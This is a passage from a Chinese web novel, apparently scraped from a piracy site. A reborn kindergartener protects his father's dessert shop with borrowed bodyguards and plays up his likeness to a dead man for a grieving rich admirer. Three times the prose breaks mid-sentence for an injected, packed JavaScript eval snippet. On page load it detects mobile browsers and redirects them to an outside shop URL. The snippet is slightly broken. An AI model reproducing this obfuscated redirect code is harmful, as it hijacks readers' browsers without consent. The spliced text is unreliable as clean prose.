江舒淮走上前,摸了摸江小鱼的头:“小鱼,爸爸答应你的事情,会做到的。” 江小鱼放下日历,牵住江舒淮的手,猛点了点头,心中暗自下定决心:他也一定会保护好爸爸的! 晚饭的时候,江小鱼再次求江舒淮播放那部重生短剧剩下的部分。 看着女主最后大仇得报,让所有仇人都付出代价后,江小鱼心里一阵阵的激动,暗暗攥紧了拳头,他也会让所有仇人付出代价的! 江舒淮看着吃个饭都非常激动的江小鱼,忍不住怀疑,江小鱼是不是看短剧把脑子看傻了。 意识到在说儿子坏话之后,江舒淮在心里悄悄给儿子道歉,他不该这么想的。 短剧播完,江小鱼也正好吃完饭,他舒服地瘫在沙发上。 江舒淮见状把他拉起来:“小鱼,刚吃完饭不能躺下来,要活动一下,你沿着客厅走一走。” 江小鱼乖乖听话,绕着客厅转圈,转着转着无聊了,江小鱼就走到了厨房,绕着江舒淮转圈。 江舒淮洗完碗刚要放回柜子里,一转身就看到走来走去的江小鱼,离自己特别近。 江舒淮松了口气,还好他转身时注意到了,要不然一个转身,绝对会撞上江小鱼。 江小鱼见江舒淮要放碗,立马举手要帮忙。 江舒淮笑着把碗递给江小鱼。 江小鱼紧紧拿着,小心地打开柜子,又小心地把碗放进去,整个动作异常小心,异常笨拙,看得江舒淮嘴角就没有下来过。 把所有碗都放进去以后,江小鱼抬起眼睛,眼睛亮晶晶的。 江舒淮毫不吝啬地夸奖:“小鱼真棒,都会帮爸爸做家务了!” 江小鱼是个不经夸的,当下拿起扫帚来:“我还能帮爸爸扫地呢!” 江舒淮:“哇,小鱼好厉害!” 江小鱼的扫帚挥的虎虎生风。 江舒淮在后面,看着江小鱼扫过和没扫过基本没有区别的地,无奈的笑着摇了摇头,算了,儿子有这份心意就好了,至于家务干得一塌糊涂……以后再慢慢教就好了。 江舒淮对于江小鱼一向宠溺。 等到江小鱼扫完地后擦桌子,摆椅子,把浑身精力散发出去,才坐在沙发上陪爸爸一起看电视。 电视剧中,两个双胞胎假装一个人,整蛊来家里坐客的客人。 双胞胎中的哥哥陪着客人进来,关上门的瞬间,弟弟出现。 客人看着弟弟又看向身后:“你刚才不是在我后面吗?” 弟弟摇了摇头:“没有啊,我一直在家里。” 弟弟陪了客人许久,去厕所后,哥哥又从门外出现。 “你刚才不一直在这里吗?”客人指着哥哥。 哥哥:“没有啊,我一直在外面。” 几次三番后,就在客人都要怀疑自己是不是出现精神问题后,双胞胎一起露面,解答这个疑惑。 江小鱼乐呵呵的同时,心里有了想法。 他扭头看向江舒淮,心想自己和爸爸长得一模一样,那他和爸爸是不是也可以一起骗人? 肯定能骗过很多人! 江小鱼是个有想法就要行动的人,当下拉着江舒淮就要实践。 江舒淮看着电视,又看看自己和江小鱼:“小鱼啊,虽然你和爸爸长得像,但是咱们两个大小不一样,爸爸那么大的人了,你还小小的一个呢,骗不到人的。” 江小鱼:“没关系的爸爸,说不准有的人就是分不清大小呢!” 怎么会有人分不清大小?江舒淮知道江小鱼是在胡说,但在江小鱼一阵软磨硬泡下,江舒淮还是答应了。 两个房间内,父子俩进进出出,演绎一个人突然变大又变小。 江小鱼特别会演,惊讶地看着自己的手:“呀!我怎么变小了!” 江舒淮出来的时候,就要看着自己的手:“咦?怎么又变大了!” 进进出出都玩了好久,直到江小鱼累了才作罢,江小鱼拉着江舒淮的手:“爸爸,我们两个,好像没办法骗人。” 江舒淮笑个不停,抱着江小鱼坐到沙发上,亲了亲江小鱼的脸蛋:“没关系的,咱们不骗人,现在已经很晚了,小鱼要洗澡睡觉了。” 江小鱼点了点头,乖乖跟着爸爸去洗澡睡觉。 因为始终惦记着甜品店的事情,江小鱼最近变得乖的不能再乖,对着钟忘熵也不发脾气了,钟忘熵让他干什么,他就干什么,钟忘熵说难听的话,他也装作听不到。 钟忘熵惊讶挑眉,还有点不习惯:“你最近怎么了?” 江小鱼疑惑抬头:“没怎么样。” 钟忘熵不习惯地道:“发个脾气。” 江小鱼还是第一次见有人有这种要求:“发脾气干什么?” 钟忘熵手指敲击着桌面:“说好听我的呢?” 江小鱼翻了个白眼:“你真讨厌!” 说完就跑回教室,不理钟忘熵了。 钟忘熵觉得这次对了,他后靠在椅子上,脚翘在办公桌上,笑了两声。 见到整个过程的王守成嘴角没忍住抽了两下:他们钟总不会有什么特殊爱好吧? 到了上辈子甜品店被人找事的前一天,江舒淮和往常一般无二的开店,甚至还一如既往的订了原材料。 直到第二天早上,把所有的原材料都规整好之后,江舒淮牵着江小鱼来到店里。 李纯看到江小鱼来了很疑惑:“今天不是周二吗,小鱼不上学?” “给他请假了,”江舒淮这才临时通知两位店员,“今天临时有事,给大家放一天假,你们等下就可以走了,工资照旧。” 李纯和苏云涵被天降好事砸晕了,乐呵呵的脱掉工作服,立马走人,去享受多来的一天假期。 江舒淮看着手表,在两位员工走后,拉着江小鱼也走了。 走的时候,店门没有锁。 江舒淮有些不放心,但江小鱼拍着胸脯保证:“爸爸相信我,甜品店一定会没事的!” 江舒淮把江小鱼抱着坐上小电驴:“好,爸爸信你。” 二人走后,甜品店进来三个男人,穿上了员工的衣服。 而甜品店外,卖水果的,卖糖葫芦的,做煎饼果子的,烤冷面的,全部都换了人。 煎饼果子和烤冷面的小摊挨着,保镖一边做煎饼果子一边没忍住道:“咱们兴师动众出了这么多人,就是为了护这么小一个甜品店?” “上面怎么吩咐,咱们就怎么办,事不该问的别问。” “我知道,我知道,就是随口一说,再说这里不就咱俩吗,又没别人。” “认真点,老板对这次行动很重视,绝对不允许失误。” “话说老板到底是把咱们交给谁用了呀?怎么这么多天了,雇主一眼面都没有见到?” “不知道。” 此刻,保镖首领正在和江小鱼语音:“放心,一切都已经准备好了,绝对保护好甜品店。” 江小鱼郑重点头:“麻烦你们了。” 一个幼儿园小孩冲他说这种话,保镖首领也觉得新奇。 但不管雇主年纪大小,该完成的任务他们一定好好完成。 家里,江舒淮见江小鱼时不时跑进厕所,压低着声音说什么,不免有些好奇:“小鱼在跟谁说话?” 江小鱼:“是我好朋友给我找的帮手!” 江舒淮总觉得事情很荒谬,但既然他选择相信江小鱼,便会在家里等着。 最坏的结果,店里的东西都被偷走了,他也承担得起。 就在保镖们十分轻松的时候,一个头发花白的老太太进了店里,进去就躺了下来:“这是黑店啊,昨天我儿子吃了你们店里的蛋糕,回去就上吐下泻的,你们的蛋糕有毒,吃出人命了,我儿子现在还在ICU里躺着呢!你们必须得给我一个说法!大家都过来看看啊,这是一家黑店!” 保镖首领使了个眼色,有保镖会意,给埋伏在外边人发出消息,阻止所有人靠近。 所以这老太太尽管连哭带嚎五六分钟了,但仍旧没有一个人过来。 老太太终于察觉出不对,手在裤兜里不知道按了什么。 很快,三个膘肥体壮混混模样的男人,穿着黑色无袖短袖,手里拎着东西,大大咧咧地冲进来:“是这个店里害的我兄弟进医院了是吧,今天我们就砸了这个店!” 话还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643394|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说完,男人手上的棍子已经举了起来。 确定周围没人以后,保镖偷偷使了个眼色。 就在膘肥体壮的男人手中棍子快要碰到店里设施的瞬间,七八个保镖上前来,快速压制住了这三个男人。 店门关上,小小的甜品店里全是人。 保镖首领给等着消息的江小鱼说了一声:“人我们抓到了。” 江小鱼大大松了口气。 甜品店里,几个膘肥体壮的男人知道不是对方的对手,立马开始求饶:“我们就是受人所托,过来找事的,真是有眼不识泰山,得罪了几位大哥!我保证,以后这家店里的生意,我们再也不接了,求大哥们今天放过我吧!” 保镖首领问:“谁联系你们的?” “我们也不知道,对方一直有什么消息当面传达,给的现金,根本没加联系方式。” 保镖首领:“你最好老实点,实话实说。” “大哥我保证,我说的都是实话,绝对没有半点水分!我们这一行的饥一顿饱一顿的,给钱就干,所以真的不知道是谁让我们来的。” 保镖首领眉头皱起:“你们尾款什么时候收?” 男人讨好的笑了笑:“大哥,对方直接给的全款,所以没有尾款。” 保镖首领:“全款都收了,也不怕你们跑了?看来你们还挺讲义气。” “那当然了,这条街上你打听打听去,我们绝对是最讲义气的那个!” 保镖首领懒得听他废话,只笑了一声:“不管你讲不讲义气,但这次,你惹到不该惹的人了。” 几个混混还没反应过来,警笛声传来。 “别别别,这不什么都没发生吗,别报警啊哥。” 没一个人搭理他们。 警察过来,把三个小混混抓走,有保镖带着监控一起去警局做笔录。 保镖首领跟江小鱼发语音:“人已经被警察带走了,但谁让他们来的,我们没有问出来。” 江小鱼并不意外,上辈子他也是临死之前才知道幕后黑手是谁的。 只不过江小鱼还担心,这次对方找茬没能成功,以后会不会再派人来找茬,毕竟爸爸的甜品店是要一直开下去的。 保镖给江小鱼出主意:“你可以找钟总要几个私家侦探,他们的消息比我们灵通。” 得知私家侦探能干什么后,江小鱼眼睛一亮:“好的,我明天就去要。” 保镖们把甜品店收拾一番后,告诉江小鱼可以回来了。 江小鱼立马转达给了江舒淮。 下午,江舒淮带着江小鱼一起去甜品店里,打算处理一下早上进的那些原材料。 进去的时候,甜品店中和他们离开时并没什么不同。 江舒淮摸了摸江小鱼的头:“看来小鱼的朋友真的很靠谱。” 江小鱼脸上带着笑,仔仔细细检查着角角落落,终于确定甜品店没有一丝一毫的破坏后,才重重松了口气。 江小鱼不免想起上辈子的这天,他放学之后站在幼儿园门口,眼巴巴的等着爸爸。 这是江舒淮第一次接他放学迟到了,江小鱼见到江舒淮匆匆赶来,嘴巴还没来得及撅起来,就看到江舒淮红肿的眼睛。 江小鱼焦急的问江舒淮发生了什么,江舒淮强扯出一个笑容来:“没什么小鱼,抱歉,爸爸今天来晚了。” 江小鱼抱着江舒淮大腿:“没关系,爸爸。” 江舒淮骑着小电车把江小鱼带回家里,安顿好江小鱼后,江舒淮揉了揉江小鱼的头发:“小鱼,爸爸要去店里处理一些事情,你自己在家里乖乖的,可以吗?” 江小鱼点头,表示自己会乖乖的。 江舒淮都快要出门了,又突然折返:“爸爸不放心,你还是跟着爸爸一起走吧。” 江小鱼当时还不知道爸爸有什么不放心的,直到和爸爸一起到了甜品店里。 干净漂亮的蛋糕店不复存在,奶油糊在地上,餐具被砸的变形,精美的小蛋糕和各种甜品散落一地。 江小鱼整个人都傻眼了:“爸爸,这是怎么了?” 江舒淮摇了摇头:“没事,就是发生了一点小事,很快就会没事的。” 江小鱼以为会是如此,但一周后,家里的甜品店关门了。 江小鱼不知道具体发生了什么,他只知道从此之后,家里的生活状况一落千丈。 家门口被泼红油漆,天天扔死老鼠,江舒淮不得不带着他搬家,搬到阴冷潮湿的地下室。 18. 第 18 章 之后他们的生活就陷入到了黑暗之中。 一个香甜的蛋挞摆到江小鱼面前,江小鱼回过神来,开心地抱住江舒淮的大腿:“爸爸!” 江舒淮刮了刮江小鱼的鼻子:“想什么呢那么入神?” 江小鱼不好意思地笑了笑:“没想什么,爸爸。” 江舒淮也没深究:“正好还有一些蛋挞液,丢了也是浪费,就烤两个蛋挞我们吃了。” 江小鱼抬头:“爸爸,可以多烤一些,明天我带到幼儿园去。” “可以呀。”江舒淮答应的爽快。 自从上次幼儿园向他采购甜品之后,之后又陆续采购了很多次。 江舒淮有时也不禁疑惑:幼儿园要上那么多的甜品课吗? 第二天上学,江小鱼乖巧的找钟忘熵要私家侦探,还特意给他带了许多甜品和吃的。 钟忘熵一边啃着包子一边皱眉:“你到底在干什么?要完保镖又要私家侦探的。” 江小鱼很认真地道:“我要保护我想保护的人。” 钟忘熵:“小小年纪,你有什么要保护的人?” “你不懂。”江小鱼抱着胳膊道,他这辈子最重要的事情就是要保护好爸爸。 他看着眼前的钟忘熵,心想,要是钟忘熵知道自己要保护的人是谁,说不定比自己还要着急呢。 钟忘熵手指敲击着桌子。 江小鱼乖巧道:“我之后都听你的,你让我顶嘴我就顶嘴,让我生气我就生气,毛笔字我天天练,钢琴和小提琴我也有认真学,我还可以多给你带一些吃的……” 江小鱼的话又密又快,钟忘熵伸手制止了他:“行了行了,别说了,给你就是了。” 江小鱼举着自己的小天才电话手表上前,加上了一位私家侦探的联系方式。 这位私家侦探是钟氏集团高薪挖来,为了查对家公司资料的,要是董事会那群老古董们知道,钟忘熵就这么轻易给了江小鱼,保不准要拉绳去钟忘熵门口上吊。 江小鱼讨好地拉了个小板凳,坐到钟忘熵腿边,给他敲腿。 钟忘熵见不得他这个样子,起身,单手拎起江小鱼放到校长座椅上,给江小鱼捏腿。 手底下的肉软软肥肥的,手感很好。 钟忘熵一边捏,一边耳提面命讲道:“你跟着我,以后都是要享福的,不能干那些伺候人的活,知道了吗?要伺候也是别人伺候你。” 江小鱼点头,学着钟忘熵平时的样子,费力地把脚翘在桌子上。 钟忘熵见状,黑了脸,把江小鱼两条小短腿拿下来:“以后不许把腿翘到桌子上。” 想了想,他又补充:“我以后也不会翘了。” 江小鱼乖乖点头,其实他觉得翘着腿挺舒服的,但现在钟忘熵帮了他这么大的忙,钟忘熵最大,他不让自己翘,自己就不当着他翘了。 钟忘熵给江小鱼捏腿觉得好玩,还给他捏了捏肩膀和胳膊,把江小鱼都捏困了。 就在江小鱼马上要睡着的时候,钟忘熵把人拎下来:“好了,现在去上课吧。” 江小鱼:“……” 江小鱼打了个哈欠,觉得钟忘熵非常不地道。 他本来不困的,被钟忘熵捏困了,结果自己困了,钟忘熵还不让自己睡觉,简直太过分了! 江小鱼哼哼了两声,对上钟忘熵似笑非笑的视线,江小鱼急忙又换上了一副讨好的笑容:“好的,我现在马上就去上课。” 没想到钟忘熵脸又板了下来:“别这么笑,你这么笑起来,就不像他了。” 江小鱼立马将嘴角拉平,微微点了点头:“我知道了,上课去了。” 说完,江小鱼不紧不慢地走出校长办公室。 独留钟忘熵在校长办公室摸着下巴:“不错,真是越来越像了。” 中午的时候,江小鱼在校长办公室,陪钟忘熵一起吃午饭。 钟忘熵接到了朋友的电话:“钟哥,晚上兄弟们有个聚会,要不要一起过来玩一下?” 钟忘熵刚想说不去,回头就对上江小鱼亮晶晶的眼睛,江小鱼小声问:“去哪里?好玩吗?” 钟忘熵直接道:“不好玩,非常无聊。” 电话那头没听到江小鱼的声音,只听到了钟忘熵的声音,急忙反驳:“哪里不好玩了?可好玩了,钟哥!” 江小鱼闻言,一副想去的样子 ,主要是今天幼儿园课堂教数数,幼儿园老师教大家从一数到十,还要挨个抽查。 江小鱼觉得太幼稚了,不符合他现在“高贵”的小学二年级的身份,便不想在教室继续学习了。 “想去?”钟忘熵把手机拿远了些,看着江小鱼问道。 江小鱼点了点头。 钟忘熵:“那接下来听我的。” 江小鱼猛点头。 钟忘熵这才又拿回手机来:“行,等会儿就过去。” “不是,我们是晚上……” 对面话还没说完,钟忘熵已经挂掉了电话。 慢悠悠吃完午饭,钟忘熵带着江小鱼离开幼儿园。 金碧辉煌的包间中,一群男人围在一起,一边喝酒一边侃大山。 说着说着,话题转到钟忘熵身上: “这么多年了,我最佩服的就是钟哥,你想想咱们圈子里的其他人,身份不如钟哥,长得也不如钟哥帅,哪一个不是花边新闻不断,绯闻满天飞?有的还搞白月光替身那套,恶心死了。哪像我钟哥,从来不找替身,这点我是真佩服!” “这点儿我也佩服,钟哥真男人!” “我话放这了,钟哥也找不到替身的,江舒淮人多优秀多好,上哪儿能找到他那样好的人?” “那倒也是。” “你们听说了吗,前段时间陆商易那小子给钟哥找了个替身,钟哥给他们一家子送了几十个替身。” “我听说了,笑死我了,听说现在他们一家子都有阴影了,看见长得跟他们白月光像的就打哆嗦,真的是笑死了。” “钟哥也是用情至深,这么多年了,江舒淮在他心里谁也不能碰,就算是亲表弟,亲姑也不行。” “说什么呢这么开心?”钟忘熵推开门。 “说你呢钟哥,我们刚说,咱们这个圈子里,属你就是个真男人,从来不搞……” 话还没说完,钟忘熵侧身让出一条道来。 这是还有其他人? 几人眼巴巴的盯着门口,盯了许久也没有盯出个人来。 直到钟忘熵不耐地“啧”了一声,示意他们往下看,几人的视线下移,这才看到了一个小萝卜头。 待看清楚这个小萝卜头的样貌后,众人齐齐倒吸了一口冷气。 他们在座的几人都是见过江舒淮的,这小萝卜头跟江舒淮长得一模一样,甚至可以称得上是等比例缩小,几人心里惊涛骇浪! 他们刚才还大言不惭说钟忘熵从不找替身,没想到人家找的替身不是大人,是小孩啊! 别的不说,这小孩长得跟江舒淮是真像,要不是江舒淮已经不在了,他们都怀疑这是江舒淮的亲儿子了。 不,亲儿子都不一定能生出这么像的来。 钟忘熵闻到包间内没有乱七八糟的味道,才牵着江小鱼进入包间。 “这从哪找的呀?”齐军伸手想摸江小鱼的脑袋,江小鱼躲了过去,抱住了钟忘熵的腿。 “自己送上门来的。”钟忘熵狂放的往沙发上一坐,抱起江小鱼来放到自己旁边,没给他和自己那群兄弟接触的机会。 江小鱼学着钟忘熵翘起二郎腿,他好奇得很,左看右看,把这里看了个遍,才问:“这是什么地方?” “不是什么好地方。”钟忘熵把自己的二郎腿放下来,也把江小鱼的小短腿摆得板板正正的。 房间内一时安静下来,谁也不说话,所有人的目光都齐齐落在江小鱼那张小圆脸上。 齐军摸向口袋,拿出一包烟来,想要抽根烟平缓一下心情。 就在他掏出打火机的时候,钟忘熵一个冷眼过去:“没看到这里有小孩吗?” 齐军把打火机和烟全扔了下来,刻意压低了声音,不想让江小鱼听见:“不是,钟哥,我们刚才还说你是咱们圈子里最有种的男人,从来不会找替身,结果转眼你就带着这小孩来了,找替身就算了,你还找了个这么小的替身?” 钟忘熵:“他不是替身。” 在大家疑惑的眼神中,钟忘熵一本正经地道:“他是舒淮死而复生,有丝分裂变成小孩找我了。” 在座的各位都齐齐吸了口冷气,而后同时发出爆笑:“钟哥你可太幽默了!” 钟忘熵:“谁说我在开玩笑?” 包间里还是一阵笑声。 在场的都是钟忘熵的好友,知道钟忘熵脑子有时候会不太正常,大家也都不和他计较。 不过,他们越看江小鱼越觉得可爱,这可真是活脱脱的江舒淮缩小版。 大学时候大家和江舒淮关系都蛮好的,再加上江舒淮能够镇得住钟忘熵,很多人都和江舒淮打过交道。 此刻他们要是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643395|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一个和江舒淮长得像的成年人,肯定看不下去,要谴责钟忘熵了,但对着这样一个小孩,还是一个和江舒淮长得一模一样的小孩,大家的心态就变了:这小孩真会长! 作为兄弟,他们见证这些年钟忘熵好不容易熬过来了,眼下钟忘熵不是真找替身,只是找个长得像的小孩,多看两眼聊表思念,他们表示理解。 而且看样子,有这小孩在,钟忘熵情绪都稳定了很多,说不准将来这小孩能和江舒淮一样,在钟忘熵发病的时候给予一定的安抚作用。 眼下,大家对着这小孩态度都是友好的。 陈天松掏出一块巧克力来,递给江小鱼:“小朋友,你怎么称呼?” 江小鱼眼睛一亮,立马要接过。 钟忘熵手快接过,塞进自己口袋里,在江小鱼没开口之前,替他回答:“他叫江小鱼。” “也姓江啊?”说完这句话,齐军快速捂住嘴。 好在钟忘熵并没有在意,见江小鱼扒拉着他的口袋要巧克力,钟忘熵转而吩咐服务员:“切盘水果过来。” 果盘端过来,钟忘熵直接放到江小鱼面前。 江小鱼从沙发上下来,乖乖的站在钟忘熵腿中间,从果盘里挑了一块儿西瓜,递给钟忘熵。 钟忘熵有些意外地接过,咬了一口:“很甜。” 他得意地看了一圈自己的兄弟们,眼中满是炫耀。 这几个人眼中却是一个比一个疑惑,虽说是找了个小替身,但怎么感觉跟找了个儿子似的? 钟忘熵那个样子,更像是明晃晃地在炫耀自己儿子啊! “在哪里上学啊?”陈天松又问道。 江小鱼:“在阳光幼儿园。” 是个大家伙都没听说过的幼儿园。 大家还没来得及多问,江小鱼已经吃饱喝足,又被钟忘熵抱着坐回沙发上。 看着江小鱼四仰八叉地仰在沙发上,钟忘熵轻咳一声,江小鱼瞬间坐得板板正正。 齐军看不下去,小声跟钟忘熵道:“人家小孩子,想怎么坐就怎么坐,你别管这么严。” 钟忘熵一脸严肃:“他那么坐就不像舒淮了。” 众人心里齐齐被敲击了一下,这丧心病狂的家伙,不会真拿人小孩当替身吧? 但江小鱼显然已经习惯了,这些日子他可没少上那些乱七八糟的课程,虽不至于能够完全学会,但学个皮毛也不成问题。 别的不说,现在他学起爸爸,应付起钟忘熵来,可谓手拿把掐。 江小鱼来后,大家也不喝酒了,包间里一时变得非常无聊。 江小鱼投入手机之中,看得嘎嘎乐,齐军这时候才敢小声道:“钟哥,你到底怎么想的,人家小孩还那么小,你真让人当替身啊?” “他不是替身,他就是舒淮。”钟忘熵再次强调。 “骗骗别人就算了,还能把自己骗了呀?”说出这话来,齐军很快意识到不对,因为钟忘熵貌似没有骗过任何人,而是自己坚信不疑。 众人轻叹了口气,江舒淮不在后,钟忘熵这些年也不容易。 就在大家面面相觑的时候,江小鱼一歪头,睡着了。 钟忘熵小心抽出手机,让服务员送来枕头和毛毯,给江小鱼盖上,看着江小鱼眼中满是慈爱。 几位兄弟:…… 这真的不是看儿子的眼神吗? 江舒淮到幼儿园门口的时候,幼儿园已经放学了,但他并没有见到江小鱼的身影。 江舒淮问向幼儿园老师时,幼儿园老师目光有几分闪烁:“小鱼还在教室里呢,写一会儿作业,马上就出来了。” 江舒淮不放心:“老师,我能去教室里看看他吗?” 就在幼儿园老师频繁望着门内,犹豫的时候,江小鱼跑了出来:“爸爸。” 幼儿园老师急忙道:“小鱼,作业写完了吗?” 江小鱼反应速度很快:“没有写完,但我非常想见爸爸了,就出来了!” 江舒淮见状,便也没有多想:“行,回家了,小鱼,跟老师再见。” 江小鱼给老师挥手,牵着江舒淮的手,快速离开了幼儿园。 他重重松了口气,还好赶上了。 江小鱼也没想到自己一觉睡到了幼儿园快放学时间,只能火急火燎的赶回幼儿园,生怕爸爸发现不对。 没两分钟,钟忘熵出来了:“江小鱼呢?” 幼儿园老师:“他刚被他爸爸接走了。” 钟忘熵略微不悦地皱眉,江小鱼竟然还有其他爸爸? 19. 第 19 章 钟忘熵越想越气,江小鱼作为舒淮死而复生的变小版本,又是舒淮有丝分裂而来的,那合该是叫舒淮爸爸的。 而舒淮只有自己一个对象,那这么算下来,自己就是江小鱼另一个爸爸! 江小鱼有两个爸爸还不够,还有一个爸爸? 一个人怎么可以有三个爸爸呢! 钟忘熵磨牙,他迟早要把江小鱼抢回来! 小电驴后座,江小鱼紧紧搂着江舒淮的腰,脸贴在江舒淮后背上,没忍住打了个嗝。 是他下午醒来要走的时候,瞥见只吃了一半的果盘,勤俭持家的江小鱼当下拉拉钟忘熵的衣角,表示不能浪费。 钟忘熵黑着脸,看着江小鱼拿着盒子把那些水果一个不落的全部打包。 路上,这些水果又都进了江小鱼的肚子。 眼下,江小鱼急忙捂住嘴,希望爸爸没有发现。 江舒淮却听到了:“小鱼,是在幼儿园吃了什么好吃的吗?” 江小鱼摸摸圆滚滚的肚子:“只吃了一点点。” 江舒淮:“吃的什么呀?” 江小鱼如实回答:“有西瓜,哈密瓜,葡萄。” 江舒淮:“都是水果呀。” 江小鱼:“嗯,可甜了。” 江舒淮又问:“小鱼刚才在幼儿园,作业写了多少啊?” “爸爸信不信?我马上就能写完的。”江小鱼得意地“哼哼”了两声,现在幼儿园的作业,对小学二年级的他来说,易如反掌,随便两下就能写完。 “哇,这么厉害!”江舒淮捧场道,说完就听到了后座上哼哼的声音,没忍住笑了。 回到家,江小鱼第一时间把作业掏出来,快速地写完,然后满意地瘫在沙发上,翘起了二郎腿,拿着遥控器调到了他最爱的动画片频道。 江舒淮从厨房端着菜出来,看到的就是这个场面,他眉头微皱,到了江小鱼面前。 江小鱼见是爸爸,眼睛从电视上移开,冲江舒淮嘿嘿笑了两声。 江舒淮蹲下身,把江小鱼的二郎腿给他摆正:“小鱼,你什么时候学会这么坐的?” 江小鱼丝毫不觉得有什么,还开心得和爸爸分享:“爸爸,这么坐着可舒服了,还可以把腿翘到桌子上,更舒服!” 说着,江小鱼还想给江舒淮演示一番,江舒淮急忙摁着江小鱼的小短腿:“不用演示,爸爸知道。” 江小鱼有点可惜。 江舒淮却疑惑,以前江小鱼坐着的时候乖乖巧巧的,顶多葛优躺一下,什么时候学会这种乱七八糟的坐姿了? 而江小鱼这些乱七八糟的坐姿,让江舒淮忍不住幻视另一个人。 江舒淮摇了摇头,把其他人的影子从脑海中赶出去。 他看着眼前的江小鱼,到底是谁带坏了他的崽儿? 吃完晚饭,眼看着江小鱼又要跷二郎腿,江舒淮急忙摁住,给他讲解了小孩的正确坐姿和翘二郎腿的危害,并告诉他,把脚翘在桌子上,是一种很不礼貌的行为。 江小鱼越听越惊讶:“可是爸爸,有个人,他经常把脚翘在桌子上。” 江舒淮:“当着很多人的面吗?” 江小鱼点了点头。 江舒淮:“那很不礼貌了。” 江小鱼重重点了点头:“我知道了,爸爸。” 第二日,在幼儿园门口,江舒淮礼貌地和幼儿园老师提了江小鱼坐姿的问题。 老师很惊讶:“没有啊,小鱼坐得很板正的,还是我们班上的坐姿小标兵。” 江舒淮闻言忍不住疑惑:“那他是在哪儿学的呢?” 幼儿园想起新校长那狂放的坐姿,又改口道:“小鱼爸爸放心,我帮你留意一下。” 江舒淮谢过老师,和江小鱼挥手告别。 而江小鱼放下书包,就冲入了校长办公室。 这时候,钟忘熵神色不渝地坐在凳子上,不知道在想什么,脚依旧放得没个正形,翘在桌子上。 江小鱼生气地盯着钟忘熵,昨天钟忘熵还说他以后不会这么翘了,结果今天就骗人。 钟忘熵听见动静看过来,啧了一声,舒淮可不会这么瞪他,钟忘熵便也盯着江小鱼,俩人大眼瞪小眼。 江小鱼小跑着冲过来,伸手推向钟忘熵的腿,想把他的腿推到下面来,结果江小鱼一推,带动了椅子,给钟忘熵转了个圈。 江小鱼惊讶的捂住了嘴巴:他力气这么大的吗? 钟忘熵脚急忙下来稳住,皱眉看着江小鱼:“你干什么呢?” 江小鱼哼哼了两声,指着钟忘熵:“你坐姿不端正!” 想起昨天爸爸说的那一套,江小鱼凭着记忆,完完整整地讲了出来。 江小鱼越说越溜,钟忘熵目光越来越深。 就在江小鱼掰着手指头说完抬头的时候,就看到钟忘熵眼神闪得吓人。 江小鱼被吓了一跳:“你这么看我干什么?” 钟忘熵鼓掌:“我觉得你今天讲的这些话很有道理,以后说话就保持这个水平,别再说那些幼稚的无聊的话,懂了吗?” 江小鱼很快反应过来,在钟忘熵这里,爸爸的话是有水平的,那他的话就是幼稚无趣的,江小鱼当下就反驳:“你才幼稚又无聊!” “嗯?”钟忘熵眉头皱起,“你再说一句试试?” “明明是你先说我的!”江小鱼委屈。 有过惹哭江小鱼的经历,钟忘熵当下觉得不妙,他决定大人不跟小孩计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643396|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较,挥挥手:“过来,有件事我要问你。” 江小鱼疑惑上前。 钟忘熵:“你有爸爸?” “我当然有了!”江小鱼肯定地道,说完他心虚地看了钟忘熵一眼,“你问这个做什么?” 钟忘熵抱胸:“说吧,多少钱能和他断绝关系?以后只喊我一个人爸爸。” 这是钟忘熵想了一晚上,想出的解决方法。 江小鱼有别的爸爸,那他就花钱买断! 江小鱼嘴角没忍住抽了两下:“你在说什么?” 钟忘熵:“很难懂吗?以后你的爸爸只能有我一个人。” “凭什么?”江小鱼急了。 钟忘熵又拿出他那套歪理邪说来着:“你是我爱人有丝分裂出来的,这点没有异议吧?” “应该……没有。”江小鱼犹犹豫豫,在他这里,这个说法早被爸爸推翻了,但钟忘熵貌似还坚信不疑。 江小鱼又不能推翻钟忘熵的话,毕竟他就是靠这个认识钟忘熵的。 钟忘熵:“这么算下来,舒淮算是你爸爸,我是舒淮的爱人,我也是你爸爸。” 江小鱼了然,非常上道地喊道:“爸爸!” 听着江小鱼这一声清脆的爸爸,钟忘熵心里这叫一个畅快啊! 同时他不忘补充:“你只有小的时候才能喊我爸爸,等你长大以后……算了,等你长大以后我估计也老了,到时候也就继续喊我爸爸吧。” 江小鱼“嗯嗯”了两声,没有反对。 钟忘熵:“小鱼呀,爸爸要跟你说声抱歉。” 江小鱼疑惑抬头,他们刚才不是在说爸爸的事情吗?怎么又突然跟他道歉了? 